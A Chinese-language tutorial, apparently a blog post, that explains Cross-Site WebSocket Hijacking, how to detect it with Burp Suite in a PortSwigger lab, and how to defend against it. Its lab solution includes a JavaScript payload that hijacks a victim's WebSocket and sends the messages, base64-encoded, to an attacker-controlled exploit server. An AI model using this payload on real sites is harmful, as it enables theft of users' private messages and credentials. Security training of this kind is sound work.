跨站WebSocket劫持(CSWSH)攻击详解与实战演练

本文深入解析跨站WebSocket劫持(CSWSH)漏洞原理,通过Burp Suite实战演示检测与利用过程,涵盖Origin头验证缺陷、Cookie安全设置及防御措施,帮助安全人员识别和防范此类高风险攻击。

无法停止的劫持:跨站WebSocket劫持(CSWSH)技术剖析

WebSocket协议于2011年通过RFC 6455标准化,实现了客户端与Web服务器之间通过单一持久连接进行全双工通信,解决了HTTP协议在双向通信方面的长期限制。例如,若需实时获取体育赛事更新,传统HTTP需要浏览器每秒向服务器发送请求查询比分变化,而WebSocket允许服务器在数据变化时主动推送更新,消除了轮询需求,降低了带宽消耗和用户延迟。

WebSocket与HTTP协议对比

传统HTTP连接在完成事务后立即断开,而WebSocket在握手后保持连接并支持双向通信。本文重点演示如何利用WebSocket握手阶段的漏洞,通过恶意网页劫持受害者的WebSocket连接并利用其Cookie进行未授权操作。在渗透测试中,每当遇到具有重要功能的WebSocket应用时,此漏洞普遍存在,影响范围从权限提升到远程代码执行。

检测与理解WebSocket连接

使用Burp Suite Academy免费实验室进行演示:

  1. 配置Burp Suite捕获流量并浏览所有页面
  2. 通过Proxy → WebSockets history查看捕获的WebSocket流量
  3. 发现/chat端点通过WebSocket发送和接收数据

连接建立过程始于HTTP请求。访问/chat端点返回包含JavaScript引用的HTML文档:

1
<script src="/resources/js/chat.js">

该JavaScript文件创建新的WebSocket连接,并使用聊天表单的action属性获取URL:

1
2
3
4
5
6
7
8
9
function openWebSocket() {
    return new Promise(res => {
        if (webSocket) {
            res(webSocket);
            return;
        }
        let newWebSocket = new WebSocket(chatForm.getAttribute("action"));
    });
}

表单action属性指定WebSocket安全连接(wss://),若发现服务器通过未加密的ws://传输重要数据,应视为安全发现。

WebSocket握手过程

浏览器发送HTTP请求进行握手,服务器返回101 Switching Protocols响应,终止HTTP通信并切换到WSS。需注意Sec-WebSocket-Key头与TLS加密无关,而是用于确保服务器支持WebSocket的挑战-响应机制。

同源策略(SOP)的例外

WebSocket规范的一个未充分记录的"特性"是不受同源策略约束,即使在HTTP握手阶段也是如此。RFC 6455第10.2节指出:服务器应验证Origin字段是否为预期来源,若不可接受则应返回HTTP 403响应。这意味着互联网上的任何网站默认都可以访问浏览器有权访问的所有WebSocket连接。

跨站WebSocket劫持(CSWSH)原理

当服务器未验证HTTP握手中的Origin头,且应用使用SameSite=None认证Cookie时,攻击者可通过诱骗用户访问恶意站点来建立和操纵受害者浏览器中的WebSocket流量。

检测漏洞

  1. 将WebSocket请求发送到Repeater选项卡
  2. 编辑连接,将Origin头值伪造成恶意域名
  3. 若服务器未返回403响应并允许数据传输,则存在CSWSH漏洞

Cookie要求

CSWSH成功的另一个条件是Cookie的SameSite标志设置为None,允许浏览器在跨站请求中发送网站Cookie。Chrome和Firefox自2020年起默认将此值设为Lax。

漏洞利用实战

开发恶意网页克隆 vulnerable 网站,获得对用户WebSocket连接的读写权限。攻击场景包括:

  1. 攻击者发现 vulnerable WebSocket条件
  2. 开发本地POC模拟社会工程攻击
  3. 在攻击者控制的站点托管恶意POC
  4. 诱骗受害者访问恶意站点
  5. 恶意站点劫持受害者认证的WebSocket连接
  6. 攻击者窃取数据或发送未授权命令

利用代码示例

创建test.html文件,修改相应子域名:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<!DOCTYPE html>
<html>
    <head>
        <link href=https://VULNERABLE-SUBDOMAIN/resources/labheader/css/academyLabHeader.css rel=stylesheet>
        <title>Cross-site WebSocket hijacking</title>
    </head>
    <body>
        <!-- 页面结构克隆目标网站 -->
        <script src="https://VULNERABLE-SUBDOMAIN/resources/js/chat.js"></script>
    </body>
</html>

PortSwigger实验室解决方案

在漏洞利用服务器中输入JavaScript代码:

1
2
3
4
5
6
7
8
9
<script>
    var ws = new WebSocket('wss://LAB-SUBDOMAIN/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://EXPLOIT-SERVER/exploit?msg=' + btoa(event.data));
    };
</script>

通过访问日志获取base64编码的聊天消息,解码后获得凭据完成实验室。

防御措施

  1. WebSocket服务器应在HTTP握手期间阻止来源不在严格白名单内的请求
  2. 用户会话Cookie应设置SameSite=Lax或Strict

真实攻击案例

  • 志愿者和政府工作人员门户均依赖WebSocket实现动态功能,恶意页面可劫持政府工作人员的WebSocket执行管理任务
  • 在管理门户中发现CSWSH漏洞与WebSocket内的远程代码执行漏洞结合,可通过恶意站点劫持受害者WebSocket并建立反向shell

参考资料

通过系统理解CSWSH漏洞原理、检测方法和防御措施,安全专业人员可有效识别和防范此类高风险攻击向量。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计